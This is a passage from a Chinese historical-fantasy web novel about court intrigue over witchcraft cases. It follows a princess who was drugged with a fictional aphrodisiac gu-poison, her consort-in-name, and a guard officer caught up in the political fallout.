“他们是西南氏族,升平朝招抚入京。”
嵇阑笑道:“那时候他们就是旧侯眼中的新刺头,和而今的霍氏新侯没什么两样,这几十年来,哪怕是权力纷争愈发激烈,他们身份特殊,旧侯再不景气,也不愿意真正认可他们。而非我族类其心必异,新侯也看不上他们。所以啊,他们既不属于旧侯,也不是新侯,骑墙之地,外人瞧着最稳妥不过,但究竟是什么摇摇欲坠的滋味,只有他们知道。”
沈磐夹了一筷子佐菜,“‘身份特殊’,是有什么渊源吗?”
嵇阑又蹲到炉边烧水,顺便将快灭掉的炭盆拨得更旺,“前朝诸王党争,先帝第三子魏王落败后,就属赵王和吴王斗得最狠,吴王的母妃出身西南,这何家入京封侯,就是给他撑场子的。而他们这帮人呢,行事嚣张,得罪过不少人,而今的扶远伯何施文当年是个次了又次的选择,是他前面的哥姐全都搭进了这样那样的事故,这才有了他的故事。而且啊——”
嵇阑慢吞吞起身走到沈磐桌边,压低嗓门道:“西南之地多巫术,若说阳安伯那有贼心没贼胆的窝囊废搞巫蛊我会怀疑是不是有人暗中操作,但他们何家,我是坚信不疑。”
“吃饱了撑的。”
“谁说不是呢?”嵇阑耸肩,“太平日子过久了,总是想找死。不过出了元良郡王之事,他们也该收敛一些了,如何会随随便便就被人检举告发?”
沈磐放下调羹,“灭一个扶远伯又伤不到旧侯势力,他们图什么?”
“图太子。”
沈磐垂眸,搅着残粥,“何家出了大事,那帮助阳安伯外室行巫蛊的师婆再次锒铛入狱,京兆府怕惹事上身,便不打算包庇阳安伯。但连续出现了两起公侯间的巫蛊案,岂不要火烧眉毛,阳安伯之事上京兆府反复无常,如何能撇干净?”
“还有,那师婆我也盯着,一出京兆狱就无影无踪,何家前脚出事,她后脚被抓,若不是她躲在何家,京兆府竟能这么神通广大,那从前的陈年旧案应该都能了结了吧。”
嵇阑替她叹息,“公主在想,这破绽百出之中,他们如何牵连上太子?”
沈磐定定看他。
“公主没听过么,西汉武帝末年,巫蛊泛滥,佞臣江充蒙蔽圣听大肆勾连,先是小鱼小虾,再是虾兵蟹将,最后便挖到龙宫太子头上,终至皇后自杀、太子自尽。只有千年做贼的,没有千年防贼的,城池修得固若金汤,也抵不住从里头腐烂。”
沈磐扶案起身,“你说得都很对,但只有一句话——”
嵇阑依桌抱臂看着她,“哪一句?”
“蒙蔽圣听。”
嵇阑的心咣当一声掉在壶里。
“武帝真的是被蒙蔽的么?”沈磐摇摇头,“太子既立,何故又出尧母之门?佞臣面圣轻而易举,奈何皇后太子不得相见?五十年开疆拓土、五十年横征暴敛,百姓必定要休息的,可休养生息的政令当由己出,而不是太子。一个朝廷不能有两套截然相反的班子,太子固然敦厚沉静,但他日执政,武帝这五十年的功过之下的晚节便彻底无果,他不仅会失去荣耀,还会被后世鞭笞。他那么骄傲,怎会允许?”
“公主,你想得太过了,有的时候事情就是很简单,毕竟……虎毒尚且不食子。”
沈磐直视嵇阑的撼动,“但是权力会。”
她上前一步,“你看,太子兵败,清算之时死了三批人,太子的人、要杀太子的人,还有作壁上观的人。朝廷都死干净了,然后就有归来望思之台,顺理成章就有了轮台罪己,立早就内定为储君的昭帝,给后世国政定了调子。于是后世所有的辉煌都源自于他的反思,后来所有的荣耀都要奉其为宗祖,生前他是统御四海的九五之君,身后还要当流芳百世的千古一帝。”
一瞬。
两瞬。
三瞬。
嵇阑开口道:“但陛下已经答应让陈王就藩。”
沈磐凝望瞬息,不禁自嘲:“是啊,所以霍家心有不甘,也打算再唱一出巫蛊之乱。又或者,这本就是元良之案的延续,醉翁之意不在酒,元良之案本就是为了现在做的铺垫。”
“但尽人事,乃知天命,不需过分苛责自己,救不了他们,从来不是你的过错,你已经尽力了,有时候这些结局就像是承天殿前的台阶,因为他们是台阶,这个王朝最森严、最崇高的殿宇前的台阶,所以长宽几何、数量多少,这都是注定的。”
沈磐挑眉,“嵇阑。”
“嗯?”
“原来你也是个老好人。”
听得此话,嵇阑一愣,缓了许久,等沈磐都已经慢吞吞走向炉子,捏着抹布要去挑那已经烧得沸腾的茶壶,他这才苦笑:“我还从没听过这样的说法。”
他上前,抢在沈磐前面将茶壶挑了起来,这才看清沈磐脸上的嘲弄。
“嵇阑,这天命就是,只允许他们害我,而不许我害他们么?”
嵇阑斟茶,“公主,这不是天命,这是人事。”
“尽好人事,知恶天命。”
他直起身,回看笑意怆然的她,“公主,你还在发烧。”
沈磐笑道:“霍家的把柄也屯了不少吧?”
知道她心里的主意,嵇阑顺势道:“说到这个,我想起来了,我今夜来是想和公主说,我叔叔那里或许有霍辄的把柄。”
沈磐在榻边坐下,“稀奇了。”
“不稀奇不稀奇,他这么多年都对霍辄不满,会想到去搜罗他的把柄情理之中。”说着,嵇阑重新舒舒服服地坐下。
“霍家是烂人堆,唯有霍辄是一筐果子里唯一没烂的那个,陛下看得起霍氏,大抵是看得上霍辄。”
“公主透彻,那公主可知道,霍家这筐果子是从哪棵树上摘的吗?”
“逆王。”
“公主洞明。”
“有话快说。”
嵇阑给她捧茶,“升平年间霍家犯的事不少,又扯上了逆王案,该杀的杀,该剐的剐,霍辄这一支偏了又偏,就被流放西北,后来永济当朝西北起了战事,霍辄便顺理成章建功立业、风头无量。可他是罪臣之后,罪臣之后不得从军为官,他又是如何攒下赫赫战功的呢?”
“朝廷不拘一格,守将唯才是举。”
“伯乐不常有而千里马常有,边关为何要顶着杀头的风险举荐他,而不举荐稳稳妥妥的其他人呢?”
沈磐微眯眼。
“当年霍家犯了什么事情我不清楚,但有一条,他们手上也有一些蛊、一些毒——”
见沈磐目露质疑,他道:“我叔说的。”
“那时候云仑将军帐下的副将叫胡廷槐,他爹就是在南海道布政使任上激流勇退的胡全德。人人都说他是个关系户,但这个关系户就没怎么打过败仗,尽管边将都不怎么服他,但还是唯他是从。霍辄呢,很得这个胡廷槐的赏识,被带着打了几场小战赎过罪,便留在胡廷槐身边当他的佐官。”
“我记得,胡廷槐很早就战死了。”
嵇阑摆手,“不是战死,是暴毙。一场交战他们难得大获全胜,斩首数千,可领军之将胡廷槐却突然暴毙,霍辄冒领他的军功,由此入了云仑将军的眼,扶摇直上。”
“暴毙?”
嵇阑扬眉,“这可不简单啊。”
沈磐皱眉:“别绕圈子。”
嵇阑即刻投降,“那些刀山火海拼出来最瞧不起走捷径之人的边将,如何会被胡廷槐驱遣?他爹胡全德的后台再硬也没硬几年,他如何在边疆混得风生水起?他是有些本事,但在边关,这些本事根
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本不够看。”
沈磐一抬睫的功夫就有了猜测,果然,嵇阑说到:“因为他手上有毒、有蛊,东西是怎么来的不知道,但他手上的蛊虫逼着那些人对他俯首帖耳。这就解释了,后来霍辄堂而皇之冒领军功,其他将领却只字不提——”
“霍辄继承了胡廷槐的蛊毒?”
“不!”
嵇阑目露凶光。
“他拿住了胡廷槐驭人的良方,却将其付之一炬、解了所有人的蛊。”
书房内安静片刻,他目光深远,喟然叹息:“他拿住了人心,那些人自然唯他是从。”
说着,他笑出声:“所以啊,冒领军功这种把柄,真不知道怎么去用呢。”
沈磐又陷入沉默,等到杯中茶水都凉了,她这才抬头,“霍家手上有蛊毒。”
“是,公主想以此检举他们?”他摇头摇得坚决,“没可能的,那些人早成了霍辄的心腹爱将,随霍辄发家,封侯的封侯,为将的为将,他们不可能会背叛霍辄。”
“那霍家的其他人呢?霍开武呢?”
嵇阑一怔。
“你见多识广,有没有什么蛊虫能催情?不行事便会痛不欲生。”
他愣愣道:“有是有的,牛马巷里不少妓馆就有,定植女体,多以男子阳精为食,不□□时便会啃噬血肉……但大多是不会轻易用的……”
言及此,不知又联想到什么,嵇阑大惊失色:“公主,你该不会……”
沈磐目光沉郁。
嵇阑连忙压低声音连连要问,却被她冷冷打断:“有就好,不用管霍家以外的人有没有。”
“公主!”嵇阑略有些失态,“这些东西凶险得很,万不可轻易尝试——”
“不必尝试。”
嵇阑倒吸一口凉气。
他心里有了答案。
她是打算把自己都搭进去,只为了以蛊制蛊,以报还报。但这一切的前提是,这世上会存在公正的裁决,而如今的陛下绝对拿不稳这把戒尺。她可以对付霍开武一人,但怎能妄想借着陛下的手去颠覆霍家这样的庞然大物?
她都明白的,这才会有方才“虎毒食子”的言论。
见沈磐还一副从容自若的模样,嵇阑无可奈何,只在书房里的气氛冷至极点前用寡淡掩饰自己心中的涛浪,“什么时候?”
沈磐也不隐瞒,“慈悲寺那天,他请我喝酒。”
嵇阑攥拳,“以后我会把他阉了。”
忽然,沈磐低头笑了,“你可真是个大好人。”
嵇阑皱眉。
“谢过你代劳的好意,但这种事,还是我亲自来比较妥当。不过有件事,我得拜托你。”
嵇阑静静端详她。
沈磐勾唇:“放心,只是让你帮我找找解药,把事情烂在肚子里,别让东宫知道。”
嵇阑这才移开视线,沉闷道:“没有解药,过个一两年自然就好。”
“当真?”
“蛊虫种类繁多,至少我知道的那一两种是这样的——其实只要头一次发作熬住了,蛊虫吃不到东西自然就饿死……”
嵇阑忽然就止住声音,因为他捕捉到了沈磐脸上转瞬即逝的震惊。
“继续说。”
“没熬住,要么堕落,要么苦撑,但蛊虫吃不到别人的阳精,那就只能吃你的身体,就看谁熬得过谁,只是……”
说着,他目露不忍。
只是,会死啊。
正真意义上的被掏空了身体,然后撑着一幅空皮囊等死。略想一想便知道,这世上没几个人能忍受这样的痛苦。
还有更残忍的他没说,但沈磐敏锐,似是一眼看出了自己有所隐瞒,便威逼问:“只是什么?”
嵇阑叹道:“人的嘴巴会刁,蛊虫也会,所以最好还是同一个人,这样缓解的效果会更好些。”
沈磐微垂头玩笑:“这倒是让负心薄性之人‘从一而终’的好东西。”
难得,嵇阑不接她的玩笑。
沈磐道:“算了,这件事就到此为止,他们敢弄权巫蛊,就一定会有破绽——”
嵇阑没来得及想沈磐这突然的松口根源何故,忽然就听书房外团圆扣门,“公主,有要事禀报。”
沈磐起身走了过去,亲自拉开门,“怎么了?”
团圆脸色惨白:“京兆法曹失火。”
夜雪飒飒落。
31. 第三十一章 荒山冢(四)
雪霁太阳出。
小吏低眉瞬目小跑到京兆尹窦凯旋身边耳语几句,得到了窦凯旋的准许,不多时,小吏便从大敞的偏堂外引入一人,身后跟着两名长缨卫千户,堂内众人一见来人,顿时都起身河蚌似的闭上嘴。
甲胄在身的张永一朝正坐在上首的窦凯旋略施一礼,这才能注意到站在一旁脸色铁青的工部尚书薛正衢。他朝薛正衢行礼,不忘见过品级高过他的刑部侍郎阮折纭,这才与跟他平级的大理寺少卿萧蘋和左佥都御史李闻达颔首示意。
这是他第一次代表东宫登堂入室,礼数不能错上一点。
窦凯旋起身,命人上茶,“而今太子殿下监国,张佥事既奉太子令问询此案,便请上座。”
张永一沉默地走到他右手边摆着的那把椅子前站定。
窦凯旋不管这年轻人的谦恭,重新坐了下去发话:“继续议。”
待薛正衢也落座,张永一这才坐下。
“张佥事应当还不知道事情始末——”窦凯旋转头叫住最末坐着的那名书办,“你把事情完完整整地说给张佥事听。”
那书办颤巍巍起身,“昨夜京兆狱失火,架格库也被波及,一份涉及阳安伯府巫蛊案的口供被毁。经目击者彭志检举,这把火是本府司法参军岳筑璜岳大人的长随楚鹏恶意放的,今晨逮捕楚鹏,楚鹏招认正是岳大人指使,且他曾听见岳大人与薛尚书的王管家阴私密谋,是要想办法给阳安伯府脱罪。小人所说,句句皆有案可寻。”
张永一按捺着心中惊骇,听窦凯旋道:“今日午后,本府依律逮捕原司法参军岳筑璜,并传薛府管家王必大至府接受问讯,王必大闻风而逃,本府最终在扶风郡界将人逮捕……”
终于忍受不了的薛正衢插话:“他是按照老夫的命令,今早前往郊外庄子查账,此番行程数日前就有了规划,家中尽人皆知,绝非临时起意,更非所谓的‘闻风而逃’!”
“薛尚书,本府言有差错还望恕罪,只是,现在正与张佥事叙述案情,尚书大人还是莫要着急打搅的好。”
窦凯旋向张永一继续道:“薛尚书来我府,是为了管家王必大所谓‘无辜被捕’之事,并非本府胆大包天提尚书大人过堂审问,还望张佥事在太子殿下面前陈情。”
张永一叉手示礼,顺便将临走前太子的主意换过语气说出来:“实话实说,这是一定。只是末将听闻此案已牵扯朝廷官员,依《大楚律》理应移交三司,至承天殿上论过。”
“这是当然,所以本府今日请三司属官前来了解情况,走完流程便会将案件一并移交,张佥事敬请放心。”
得到了准信,张永一便点点头,安静地听堂中质疑声起。
阮折纭这个刑部侍郎列正三品,比窦凯旋这个京兆尹还高上一头,他首先问话:“阳安伯府巫蛊之案,本官从未听说,还望窦大人详解。”
“阮侍郎明鉴,本府也是在抚远伯之案后将将知晓,原来阳安伯府的家贼盗窃案实是掩人耳目之说,有楚鹏的供词证明,此案就是岳筑璜设计,用来帮助阳安伯府脱罪的。”
大理寺少卿萧蘋接着问:“能否详说,岳筑璜是如何设计的,以至于府尹大人都能被欺瞒?”
萧蘋话中的诘问意很明显,窦凯旋不怒,底气也足,不着急解释,而是起身朝众人欠身,“这的确是本府的疏漏。岳筑璜是跟在本府身边十年的司法参军,本府从前对他尤其信赖,实在没想到他居然能犯下这样的重罪。待此案了结,本府就会入宫自劾,以此为诫,再不会胡乱用人。”
“府尹大人还是讲讲案情吧。”萧蘋催道。
窦凯旋叹气懊恼,叫出身边侍候的又一名书办,“你说吧。”
这书办朝众人行礼,“回禀诸位官爷,上月本府接到报案,报案的是羊车巷刘府的奴婢鹿儿,据此女所说,初夏时节阳安伯在羊车巷隔壁的宅院里养了一位外室蒋小娘,蒋小娘向岭南师婆阿疯请教厌胜之术,特意扎了小人诅咒阳安伯夫人。此事为阳安伯夫人的眼线知晓,伯夫人便登门闹事。师婆阿疯、伯夫人登门俱为她亲眼所见。”
那书办咽了咽口水,继续往下说:“阳安伯为了此事前往本府疏通,只以家贼盗窃之事陈述案情,府尹大人着令原司法参军岳筑璜详细核查。但事先,阳安伯就与岳筑璜互相串通,更向鹿儿的主家刘财主说情,故而一拿到办案授权,岳筑璜即刻逼迫鹿儿改口,婢女鹿儿受到主家施压当堂反水,但是外室蒋小娘对伯夫人积怨已久,死活不肯改口,于是岳筑璜多次私密闻讯蒋小娘无果,将唯一一份不合时宜但过了明路的口供锁入架格库,让楚鹏以证据不全需继续调查案情为由,将本案拖拉数日,直到上月末蒋小娘滑胎病死,才以‘家贼盗窃’结案。”
佥都御史李闻达看向面不改色的窦凯旋插话道:“既然成功结案,岳筑璜为何不在蒋小娘死后,即刻毁坏口供,一定要拖到现在?还放了这么一把大火,更让人抓住了把柄?”
窦凯旋解释:“诸位有所不知,本府的架格库,只在初一和十五两日开放,蒋小娘的口供刚好是十五那日混入的架格库。”
阮折纭:“这倒是闻所未闻的规矩。”
李闻达又问:“那为何本月初一,岳筑璜不动手?”
“近来无案,且少有人进出架格库,库中都是已经了结的陈年旧案,若是过于急切露了马脚——”窦凯旋摇头,“岳筑璜一直都是十分有城算的人,他不会这么莽撞。”
听到现在,张永一心中谜团迭起,奈何他不能随便说话,只能继续平息着心里的焦躁,听他们挨个问。
萧蘋:“这把火不小,半个京兆狱都点着了,那么又是如何确定,蒋小娘的口供没有在火中付之一炬,而非早先所说安然藏在其他案卷之中?光凭楚鹏的口供?只要尚有一丝脱罪的希望,他如何会主动说起这份口供?是诱供吗?还是严刑逼供?”
窦凯旋霍然站起,“萧少卿慎言!”
这时候薛正衢也说话了,老爷子明显动了真火,“窦大人,那你为何不愿让岳筑璜和楚鹏与老夫当面对质?王必大被抓,老夫合理请求探监为何被拒?”
“本案复杂,即将移交三司,尚书大人更牵扯其中,本府不敢让人犯有失,尚书大人当理解下官。”
薛正衢气血上涌,萧蘋连忙继续逼问:“窦府尹,回答本官的问题。”
窦凯旋击掌两声:“正好,让人呈上来吧。”
书办退下,片刻即捧盘而归,盘中放了一角火烧残页,上头写的正是蒋小娘的画押。
窦凯旋的视线逡巡堂内每一个探头观望之人,“真是极大的巧合,可见老天有眼,不欲使恶人逃脱、真相蒙尘!”
**
“张佥事留步。”
张永一驻足,回头就见工部尚书薛正衢缓步追来,他即刻折返,弯腰垂首倾听,“尚书大人有何见教?”
薛正衢出一趟京兆府,就如同一霎那苍老了三十岁,他本来就有了年纪,这一下更衰老得有如风中残枝,像极了年初的崖然。
“张佥事自东宫来……太子夫妇可还好?”
触及薛正衢眼中的柔软脆弱,张永一顿时想起太子妃薛元映得知老父亲往京兆府时的骇然焦急。为防言官议论,他们父女两个一年到头只能在千秋节、岁末宫宴和皇孙生辰宴上见面,寻常时候更是连书信都不敢多通。薛正衢生怕给女儿带来广涉前朝、联络娘家的非议,薛元映则怕东宫的事端牵连上自己鲜有争心的老父。
临行前,太子妃说这个节骨眼上薛正衢莫名前往京兆府,恐怕是他在京兆府里供职的学生岳筑璜出了差错,岳筑璜是他的爱徒,他必然着急得心煎。
她的预感果然灵验,非但是岳筑璜出了差错,通过岳筑璜与薛正衢的一番师生恩义,恐怕东宫都要下水。毕竟这个时候无端挑事,只能是剑指东宫。
张永一斟酌词句,诚恳道:“太子妃很担心您。”
薛正衢叹气,这气一叹,整个人都似失了精神,他双目迷茫,口中喃喃:“是我给她添麻烦了。”
“尚书大
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人,太子妃是真的牵挂您的安危,这样的话她听了,必会伤心。”
“那便请张佥事不要告诉她。”
张永一口中含苦。
薛正衢垮着精神不知想了什么,抬起头望向他时,满目都是祈求,“还望张佥事帮老夫传个话。”
“您且讲。”
“让她不要操心了,这些事我会处理好的,必不会连累东宫。”
“大人!”
薛正衢微微摇头,制止张永一神色里的不忍,“这就是个局,在咱们这位陛下这里,遇上‘巫蛊’二字便是无解。今日能攀扯上筑璜,明日就会说老夫是幕后主使——不,他们已经这么说了,但还有后日啊,化隆城里的人情往来复杂如网,天知道后日还会扯出什么人?事情到老夫这里就该有个了断,以免伤及无辜、遂了贼人心愿。”
张永一低头,难掩哀求,“大人,有什么事情可以和太子、太子妃一起商量,千万不能拿自己的性命冒险……”
薛正衢却忽然看着他笑,欣赏有,更多的全是苦涩,“你还太年轻,太不会隐藏自己,这样很不好。”
张永一心一紧,攥着双拳,眼看着薛正衢,这个算是他爷爷辈分的老人朝他叉手一礼,“多谢张佥事了。”
**
张永一回来时,就听见了常年深居简出、不论时局的梁国长公主这么斩钉截铁地给此案定了结局:“何家,谋反之罪,不容置喙了。”
张八郎道:“仅仅是养蛊就定了谋反,这会否……”
梁国长公主叹气:“蛊,就是巫蛊,但凡沾上这个东西,谁能善终、谁允善了?年初才闹了元良这一档子事,满朝文武和他唱反调,现在陈王就藩,陛下心里极不痛快,他又是个敏感多疑的人,这个时候谁要驳他,谁就要遭罪。”
张八郎耷拉眉眼,“我听说梅阁老极其反对如此轻率定案,毕竟三司都没审过,光凭着陛下在五柞宫的一纸诏令,恐令天下不服。梅阁老为了陛下声名计,打算写了折子呈送到五柞宫,劝陛下三思。”
“一年之内,王侯贵戚连灭两门,化隆城里人人自危。但是,陛下的心比铁还硬,又在气头上,根本不会听的,梅阁老贸然建言,必定会吃亏。”
“梅阁老也是为了陛下、为了朝廷、为了百姓好。”
“独独没有为了他自己、为了他梅家后人!”
两个上了年纪的人都不禁垂头丧气,忽然听屏风后张永一刻意放重的脚步声响起,两个人又一齐绽出了笑容。
“络儿回来了?”
“给祖母、叔祖请安。”
梁国长公主笑问:“是得了休沐日子了吗?几天?”
张永一不敢看祖母的期待,只低头闷闷答:“没有,孙儿今日回来,是因为接下来应当都要宿在卫所。”
不用看,只听也能听见梁国的失落:“络儿辛苦了……那今天我叫人好生准备一顿饭,给你好好补补……在卫所吃不好、睡不好……你人都憔悴了……”
张永一不知道自己是怎样从愧疚与心疼筑就的牢笼里逃出生天的,一出房门,张八郎就叫住了他,就这样突兀地直接问他:“络儿,你心里是有人了吗?”
张永一霍然抬头,就见张八郎静静看着自己。
他连忙错开眼,“叔祖……您为何突然……这么问?”
“与郭家的见面一拖再拖,再有你近来总是魂不守舍的。”
张永一沉默。
“你还年轻,什么事也藏不住。若真是如此,你早些与你祖母说清,她是真心希望你能有个好归宿,若她知道自己成了棒打鸳鸯的王母、将来铸成大错,那时候她……”
张八郎不忍再说,只嘱咐道:“在卫所不比在家,你好好照顾自己,近来朝中事多,非有必要不要介入,我知道你从小在道理是非上锱铢必较,这些年有所顾忌,便也沉稳不少,但外敛而内愈炽烈,这些事情压在心里,千万不要把自己困住了。”
张永一沉默敛容,目送唉声叹气的张八郎离开。
32. 第三十二章 荒山冢(五)
他沉稳了吗?
和业已华发早生的梅依径比起来,他确实沉稳了。
苦劝不住,左都御史、内阁第二号辅臣还是带着乌泱泱的风宪官,给远在五柞宫的陛下上了一道奏疏,言明草率定案、乱判谋反之举十分不妥,恳请陛下将案子移交三司会审云云。
这是连张永一都看得明明白白的命定之局,梅依径偏要暴虎冯河地改。
然后京兆狱里就传来了抚远伯世子、已经“畏罪自杀”的何仁亶的哥哥何仁广认罪自杀的消息。
义然回来和他说,尸体从地牢里抬出来时,血流了满地。
白雪堆里的鲜血总是刺眼的。
分明在东北,他们见过更加刺眼的红与白,义然却被这趟见闻刺到了心。从不做噩梦的他做了噩梦,把张永一吓了一跳,以为他也中了什么乱七八糟的巫蛊。
他们两个人对着值房里的一盏灯,一直沉默坐到了天明,坐到了长缨卫衙门外吵嚷地呼啸过一帮人,听属下说,是锦麟卫从京兆回来了,把抚远伯何施文按照陛下的意思,收押到了诏狱。
张永一和义然对视一眼,正好此时那盏灯,不堪初晨凉意,“嗞”地一下子蹿灭了,连最后一缕烟都吹散在风中。
彻底的,尸骨无存。
张永一收拾了形容出门,沿着漫长的宫道往东宫的方向走。
他要横穿外城。
行至东直门甬道,忽听六科廊里的给事中议论纷纷,有义愤填膺者梗着脖子拉着察院的御史要进宫,要去找首辅冉琢明理论,乍然见自己穿着十二军卫的甲胄,一改往常的谨小慎微,神情反倒更狠恶,居然径直朝自己走来,仿佛自己与他有着不世之仇。
“阁下是长缨卫?”他再度确认道。
张永一退身一礼:“这位大人有何见教?”
他气势汹汹问:“昨夜梅阁老莫名其妙重病卧床,刚刚宫外递来消息,说是梅家人连后事都开始准备了,咱们的东宫太子可知道了?”
张永一收敛着心里的震惊,稳住嗓音客气回他:“我会将大人的话原封不动转告太子殿下。”
像是一拳打在了棉花上,这名年轻的给事中觉得心中憋闷,但见张永一脾气软好说话,他不顾同僚的劝阻,又揪着张永一忿忿道:“梅阁老是为了东宫遭了这样的灭顶之罪,太子殿下还要继续龟缩吗?还要为了所谓的脸面、体面!和那些人虚与委蛇吗!”
向来激进的御史听了这话都忍不住摇头叹气,遑论张永一。
皇宫大内,他们就敢这么直接地向太子叫板,美名其曰是为了太子办事。可他寻思着,何家养蛊也不是太子指使,梅依径如何就成了太子的替罪羊?他们这么嚣张地打着东宫的旗帜行走朝堂,定要坏事。
张永一敛眉以示不悦,“那些人是哪些人?请大人明示。”
没想到千年王八会咬人,这给事中被顶得气短胸闷,瞪着还嘴的张永一说不出话来,只戬手指着他,愤怒威胁意十足。
张永一微颔首,正要走,那给事中拽着他的护腕不撒手,嚷嚷着一幅不肯罢休的模样,突然,他们就见东直门甬道上走来几人,同僚拍掉他揪着张永一不放的手,低声不断提醒:“陶寺卿!陶寺卿来了!还有两位梅侍郎!”
抬眼看去,慢吞吞拄着拐杖的大理寺卿陶识礼后面有一对形容颇为相似的男人并肩走着,俱是三品侍郎服色。张永一知道,他们是梅依径家那对双生的亲侄子,一个供职户部、一个就职礼部,粗粗打量,身态性情不说一模一样,也是真真假假一时难辨的地步。或许因此,礼部侍郎梅洐特意留了胡子,他又是哥哥,乍一看,终于比户部侍郎梅沸更加沉稳。
“这是在做什么?”
那给事中松手,不得已放开了张永一。
这时的陶识礼极有威严,眼神锐利扫过张永一时,连他这个行伍中人都如被中伤。他叉手一礼,一言不发即要告辞,却被户部侍郎梅沸叫住。
“张佥事,借一步说话。”
陶识礼带着梅洐驱散了人群,径直往东长安门走,梅沸这才低声道:“张佥事,叔叔让我带话,还望佥事转呈太子殿下。”
张永一欠身,“但说无妨。”
梅沸叹气,眼睛却炯炯亮:“人吃五谷,哪有不病的?叔叔上了年纪,这病得就更重些,但绝无半点阴谋诡计。叔叔说,这次是他冲动了,给殿下添了麻烦。”
**
义然见,轮值完自东宫出来的张永一脸色不好,连忙上前问:“出什么事了吗?”
张永一摇头。
义然笑道:“外头出了几件事,算是可喜,公子你在东宫听说了吧?”
张永一苦笑:“何家抄斩么?”
义然也品出了张永一的灰败,语气里的喜气也淡了不少,“是府军卫指挥使宣钦,被察院弹劾吃空饷,现在一薅到底,戴罪在家了。还有永昌侯之子胡允樟,被御史弹劾贪污了紫微宫修整的拨款,也被内阁问责了。”
张永一扯一个笑给他捧场,“挺好。”
“梅阁老的身体也有所好转了。”
张永一眼光微动,“很好。”
义然担心道:“东宫是不打算追究这件事情了吗?梅阁老病得这么突然,尤其是在抵牾陛下之后——”
“义然。”
义然缄口。
张永一却继续说:“现在所有的文官,几乎都想追究,都要为梅阁老鸣不平。越是这样,太子殿下越不能插手,子要和父斗,有违人伦孝道,臣要和君抢,这是自寻死路。”
义然打个寒颤,哆嗦问:“真是这样吗?”
张永一仰头望天,“就是这样。”
天,是灰蒙蒙的。
“这就是一个教训,陛下给梅阁老的教训,朝臣闹得越凶,梅阁老就越凶险……”
多少年高坐明堂,下笔指点江山,上朝匡扶社稷,这样的日子过得太久太过索然无味,以致于他都忘记了,自己其实只是在为一个人前后驱驰,他的功业,他的果实,打上的都是别人的名字,他的权柄更只是借来的虚物。他以为,物归原主的那天该是周公辅成王朝诸侯的结尾,而不是故事开头带走武王姬发的一场重病。
张永一吐出一口气,更觉得化隆的天比宁远还要冷。
“对了公子!”
义然一拍大腿,又把张永一吓一跳,“我差点忘了件大事!”
张永一皱眉。
“嵇公子急找你!”
**
张永一刚跨进小院月洞门,就看见嵇阑裹着氅衣站在房门口搓手,一见到自己,居然像见了救星,一张口,像是要喊自己来着,却不知为何止住了嗓音,只哈着气朝自己频频颔首。
“可算来了。”嵇阑将他拉到了廊下。
“着急找我,是公主出什么事情了吗?”
嵇阑叹气,眉宇骤现颓丧,“公主不大好。”
张永一紧紧攥拳。
“那天离开了慈悲寺,霍开武找过她,硬是逼她喝酒,那酒不干净,里面掺了女蛊——”
张永一遏制不住心里的惊骇,一把抓住了嵇阑的手臂,“女蛊?”
嵇阑望着他,幽幽叹息道:“那个人是你吧?”
张永一的眼神越发凝重。
“其实这女蛊,头一次熬一熬就过去了,若是没熬住,这蛊虫吸食了阳精便定植下来,便会常常发作,上回她一烧烧了五天,就是因为这个……”
张永一懵在原地。
嵇阑叹气,“她脾气倔,身子骨又不够硬,这么耗着迟早要到油尽灯枯那天,近来用了点药略有成效,但她不敢让东宫知道,天天躲在这里夜不能寐、白日无神,一直这么颓丧,实在痛苦。”
嵇阑错开视线,不去看已经被心里的惊涛骇浪掀得不辨东西南北的张永一。
怎么说呢,他突然有些同情张永一。他是欢场老手,沈磐是个惯爱隐藏的,可他都能觉出张永一在沈磐那里,总是格外特别的一个,更何况是张永一的心思,在他这里更如同白纸黑字清清楚楚。沈磐是个敛于诉情的,张永一也不是生来胆大包天的,在心神摇曳之时,被心上人引着共赴巫山,纵然有君臣名分的阻隔,那时候他心里的高兴该能和天比高。
然后现在他知道了,能成为沈磐的入幕之宾并非沈磐有情,而只是蛊虫作祟。
这无异于黄粱梦碎。
张永一松开紧咬的牙关,缓了许久才吐出一个音节:“你……”
嵇阑回神,就见他面无人色,似池中枯荷,秋煞垂雨,严冬封雪,曾于千万人里熠熠生光,现也残破灰败。
沙场驰骋也难比说完这句话来得艰辛,他道:“你为何不……”
嵇阑抬手,似要朝天发誓,“我虽然要枉占驸马的名分,又常常
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出入公主府日夜不禁,但我与公主清清白白,更无私情。”
他就见,流风片雪迷人眼,他第一见张永一的瞳孔像是座大厦不住地撼动。或许是他的错觉,张永一已经十分收敛自己的心情了,如何会让心中的嘶喊这么不受控制地冲破理智的防线,这么响亮的放出来。
在自己面前,他已经没有秘密可言。
世家大族出来的孩子,怎么会这么傻傻不会掩饰?
嵇阑叹息:“她就在里面。”
说完,嵇阑这才从他越收越紧的手中抽出自己的小臂。
他已失态至此。
嵇阑兀自摇头,内心只求着沈磐好转后别恩将仇报,再不去想自己给出这样的光明正大的暗示过后,背后越来越远的寝殿里会发生什么。
**
门一响,沈磐就出声赶人:“嵇阑你是闲得没事可做了吗?没事就去找事,别在我这里多管闲事!”
她的声音格外明亮,不像是被折磨得奄奄一息的样子。但张永一幼年从军,耳力极佳,听得出她老虎皮下柴木搭的骨架,已经咯吱咯吱岌岌可危。
张永一放轻步子绕过屏风,就看见沈磐蜷缩在床上,头埋在怀里止不住地抖。薄衫单衣光着脚,屏风前的仙鹤宝鼎却烤着腾腾暖香,倒让人看不出她是嫌冷还是怕热。
听不见回应,沈磐只得抬起头,越过帷帐看去,不见嵇阑只见张永一,他的肩上还落着屋外的大雪。
沈磐一愣,可她连“你怎么来了”这短短的五个字都问不出口,连忙伸手捞起被褥往身上遮,随即又痛苦地咬紧牙关埋下脸,整个人都像要躲进被褥之中。
张永一紧紧抠住了屏风缘的浮雕,听她极力捋顺呼吸,冷冷斥责:“出去。”
一瞬。
两瞬。
三瞬。
沈磐没有听见任何动静,再一抬头,果然见张永一还站在原地,被风刻雪凿得眉锋目利的脸上显出愧疚和痛惜的神色。非但如此不退还进,张永一刚迈一步,沈磐就朝他大吼:“出去!”
张永一站定,“嵇公子都告诉我了。”
沈磐呵着气冷哼:“你也要违抗本宫的命令吗?”
张永一低眉垂首。
“张永一!”
张永一不答,只沉默地又往前迈了一步。他们已经近得,张永一只需要一抬眼,就能看见沈磐额头鼻尖沁出的一层薄汗。
窗外打进一束光,好像能穿过沈磐而毫发无损。张永一听着她压抑在喉咙的细密喘息,只觉得已经被磕去一角的心脏,被这雪日疏光照得几近融化。
